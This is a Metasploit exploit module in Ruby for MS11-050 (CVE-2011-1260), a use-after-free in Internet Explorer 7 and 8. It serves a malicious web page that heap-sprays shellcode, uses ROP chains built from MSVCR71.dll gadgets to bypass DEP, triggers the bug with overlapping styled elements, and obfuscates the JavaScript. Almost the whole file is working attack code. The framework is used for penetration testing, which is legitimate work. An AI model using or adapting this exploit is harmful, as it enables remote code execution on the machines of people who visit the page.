##
# $Id: ms11_050_mshtml_cobjectelement.rb 13325 2011-07-24 00:22:29Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, 
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS11-050 IE mshtml!CObjectElement Use After Free",
			'Description'    => %q{
					This module exploits a use-after-free vulnerability in Internet Explorer. The
				vulnerability occurs when an invalid <object> tag exists and other elements
				overlap/cover where the object tag should be when rendered (due to their
				styles/positioning). The mshtml!CObjectElement is then freed from memory because
				it is invalid. However, the mshtml!CDisplay object for the page continues to keep
				a reference to the freed <object> and attempts to call a function on it, leading
				to the use-after-free.

				Please note that for IE 8 targets, JRE (Java Runtime Environment) is required to
				bypass DEP.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13325 $",
			'Author'         =>
				[
					'd0c_s4vage',
					'sinn3r', #ROP (thx corelanc0d3r)
				],
			'References'     =>
				[
					['CVE', '2011-1260'],
					['OSVDB', '72950'],
					['MSB', 'MS11-050'],
					['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					# In IE6 the mshtml!CObjectElement size is 0xac
					[
						'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
						{
							# sizeof(mshtml!CObjectElement)
							'FreedObjSize' =>  0xb0,
							'FakeObjCount' => 0x4000,
							'FakeObjCountKeep' => 0x2000,
							'ForLoopNumObjects' => 3,
							'FreedObjOverwritePointer' => 0x0c0c0c0c,
							'FreedObjOffsetAlignSize' => 0,
							'ROP' => false,
						}
					],
					[
						'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
						{
							# sizeof(mshtml!CObjectElement)
							'FreedObjSize' =>  0xe0, # 0xdc rounded up
							'FakeObjCount' => 0x8000,
							'FakeObjCountKeep' => 0x3000,
							'ForLoopNumObjects' => 5,
							'FreedObjOverwritePointer' => 0x0c0c0c0c,
							'FreedObjOffsetAlignSize' => 0,
							'ROP' => false,
						}
					],
					[
						#This target requires MSVCR71.dll (JRE 1.6)
						'Win XP SP3 Internet Explorer 8 (DEP)',
						{
							'FreedObjSize' =>  0xe0, # 0xdc rounded up
							'FakeObjCount' => 0x8000,
							'FakeObjCountKeep' => 0x3000,
							'ForLoopNumObjects' => 5,
							'FreedObjOverwritePointer' => 0x0c0c0c0c,
							'FreedObjOffsetAlignSize' => 2,
							'StackPivot' => 0x7C348B05, #xchg eax,esp - MSVCR71.dll
							'ROP' => true,
						}
					],
					[
						'Debug Target (Crash)', {}
					],
				],
			'DisclosureDate' => "Jun 16 2011",
			'DefaultTarget'  => 0))
	end

	def auto_target(cli, request)
		agent = request.headers['User-Agent']
		if agent =~ /MSIE 8\.0/
			mytarget = targets[3] # IE 8
		elsif agent =~ /MSIE 7\.0/
			mytarget = targets[1]
		else
			print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
		end

		mytarget
	end

	def on_request_uri(cli, request)
		mytarget = target
		if target.name == 'Automatic'
			mytarget = auto_target(cli, request)
			unless mytarget
				send_not_found(cli)
				return
			end
		end
		@mytarget = mytarget
		@debug = true if mytarget == targets[4]

		return if ((p = regenerate_payload(cli)) == nil)

		id_name  = rand_text_alpha(5)
		dir_name = rand_text_alpha(3)

		if @debug
			data = <<-DATA
			<html>
			<body>
			<script language='javascript'>
			document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
			document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
			document.body.innerHTML += "AAAAAAA";
			document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
			</script>
			</body>
			</html>
			DATA

			print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
			send_response(cli, data, { 'Content-Type' => 'text/html' })
			return
		end

		if @mytarget['ROP']
			nop = 0x7c348b06

			#mona.py tekniq
			#https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
			rop_stage2 = [
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # Make EAX readable
				0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
				nop,         # EBP
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # <- VirtualProtect() found in IAT
				0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
				0x7c346c0b,  # Slide, so next gadget would write to correct stack location
				0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
				nop,         # EDI (filler)
				nop,         # will be patched at runtime (VP), then picked up into ESI
				nop,         # EBX (filler)
				0x7c376402,  # POP EBP # RETN (msvcr71.dll)
				0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0xfffff82f,  # size 20001 bytes
				0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
				0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
				0xffffffff,  # pop value into ebx
				0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
				0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
				0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
				0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
				0x7c34b8d8,  # ROP NOP (-> edi)
				0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
				0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
				0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x90909090,  # NOPS (-> eax)
				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
			].pack('V*')
		else
			rop_stage2 = ''
		end

		raw_shellcode = rop_stage2 + payload.encoded
		shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))

		spray = nil
		rop_shellcode_spray = nil

		obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")

		if @mytarget['ROP']

			rop_stage1 = [
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x23000ddc,
				0x7C348B05,  # XCHG EAX,ESP # RETN (MSVCR71.dll)
			]

			junk = rand_text(4).unpack("L")[0].to_i

			padding1 = [junk]*3
			padding2 = [junk]*25
			rop_stage1 = padding1 + rop_stage1 + padding2

			rop_stage1 << @mytarget['StackPivot']

			front = rop_stage1.slice!(0, 19)
			rop_stage1 = rop_stage1 + front

			rop_stage1 = rop_stage1.pack('V*')

			nops = rand_text_alpha(0x1000 - (0x800 - rop_stage2.length - raw_shellcode.length))
			nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))

			#spray up to 0x23000000
			rop_shellcode_spray = <<-JS
			var shellcode = unescape("#{shellcode}");
			var nops = unescape("#{nops}");
			while(nops.length < 0x1000) nops += nops;
				var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
				while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
					var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
					for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
			JS

			spray = rop_stage1
			shellcode = ""
		else
			spray = obj_overwrite_ptr
		end

		spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))

		js = <<-JS
		heap_obj = new heapLib.ie(0x20000);
		var heapspray = unescape("#{spray}");
		while(heapspray.length < 0x1000) heapspray += heapspray;
		var shellcode = unescape("#{shellcode}");
		var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
		var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
		var front = heapblock.substring(0, offset);
		var end = heapblock.substring(offset);
		heapblock = end + front;
		while(heapblock.length < 0x20000) heapblock += heapblock;
		finalspray = heapblock.substring(0, (0x10000-6)/2);
		for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }

		#{rop_shellcode_spray}

		var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
		while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
		obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);

		for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
			document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
		}

		for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
		for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }

		document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
		document.body.innerHTML += "AAAA";
		document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
		JS

		js = heaplib(js)
		js = ::Rex::Exploitation::JSObfu.new(js)
		js.obfuscate

		html = <<-HTML
		<html>
		<body>
		<script language='javascript'>
		#{js}
		</script>
		</body>
		</html>
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport} (#{mytarget.name})...")

		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end
